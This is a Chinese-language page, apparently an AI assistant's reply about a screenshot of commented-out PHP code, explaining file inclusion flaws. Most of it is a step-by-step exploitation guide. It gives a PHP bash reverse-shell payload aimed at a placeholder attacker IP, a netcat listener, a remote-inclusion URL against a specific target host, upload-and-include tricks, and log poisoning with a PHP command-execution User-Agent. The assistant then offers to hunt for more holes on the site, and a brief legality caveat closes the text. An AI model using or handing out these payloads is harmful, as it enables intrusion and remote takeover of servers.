文件包含漏洞利用技巧

📅 2026/7/7 12:35:19
文件包含漏洞利用技巧
你提供的图片显示的是一个网页的 HTML 源码其中包含一行被注释掉的 PHP 代码!--?php include $_GET[image];--这行代码表明该页面原本存在“文件包含漏洞”File Inclusion Vulnerability但当前已被注释掉即未生效因此目前无法直接利用它来反弹 shell。 一、什么是文件包含漏洞在 PHP 中include()、require()等函数如果参数可控如来自$_GET、$_POST攻击者可以传入恶意文件路径或远程 URL导致服务器执行任意 PHP 代码 —— 这就是本地/远程文件包含漏洞LFI/RFI。例如?php include $_GET[file]; ?访问http://target.com/vuln.php?file../../etc/passwd → LFI http://target.com/vuln.php?filehttp://attacker.com/shell.php → RFI 二、为什么你现在不能反弹 shell从截图看代码是!--?php include $_GET[image];--—— 被 HTML 注释包裹PHP 不会执行。即使去掉注释也需要满足以下条件才能反弹 shell服务器允许远程文件包含allow_url_include On你能上传或控制一个包含反弹 shell 代码的文件目标服务器能 outbound 连接到你的监听端口✅ 三、假设漏洞未被注释如何利用它反弹 shell步骤 1准备反弹 shell 脚本创建一个名为shell.php的文件内容如下以 Bash 反弹为例?php exec(/bin/bash -c bash -i /dev/tcp/YOUR_IP/YOUR_PORT 01); ?⚠️ 替换YOUR_IP和YOUR_PORT为你自己的公网 IP 和监听端口比如192.168.1.100:4444步骤 2启动监听器在你的机器上运行nc -lvnp 4444 # 或者使用 netcat, socat, msfconsole 等步骤 3触发文件包含如果漏洞存在且未被注释访问http://192.168.19.133/antibot_image/antibot.php?imagehttp://YOUR_IP/shell.php→ 如果成功你的 nc 监听器会收到反向连接 四、进阶技巧当 RFI 被禁用时如果allow_url_include Off你可以尝试方法 A上传恶意文件 LFI通过上传功能如头像、日志、缓存等上传shell.php利用 LFI 包含它?image../../uploads/shell.php方法 B利用日志文件注入很多 Web 服务器会把 User-Agent、Referer 写入日志文件如/var/log/apache/access.log你可以构造请求curl -A ?php system(\$_GET[cmd]); ? http://target.com/然后包含日志文件?image/var/log/apache/access.logcmdid 五、重要提醒仅限授权测试环境使用在生产系统中利用此类漏洞属于违法行为。图中代码已注释说明开发者可能已经修复了漏洞。如果你是渗透测试人员请确认目标是否授权。 总结项目状态当前漏洞是否可用❌ 否代码被注释若 uncomment 后可否反弹 shell✅ 是需配合 RFI/LFI 外部脚本推荐工具Burp Suite, Netcat, MSFVenom, LinPEAS如果你希望我帮你分析这个站点是否有其他可利用点比如上传、XSS、SQLi 等可以提供更多页面信息或截图安全第一合法合规地进行学习和测试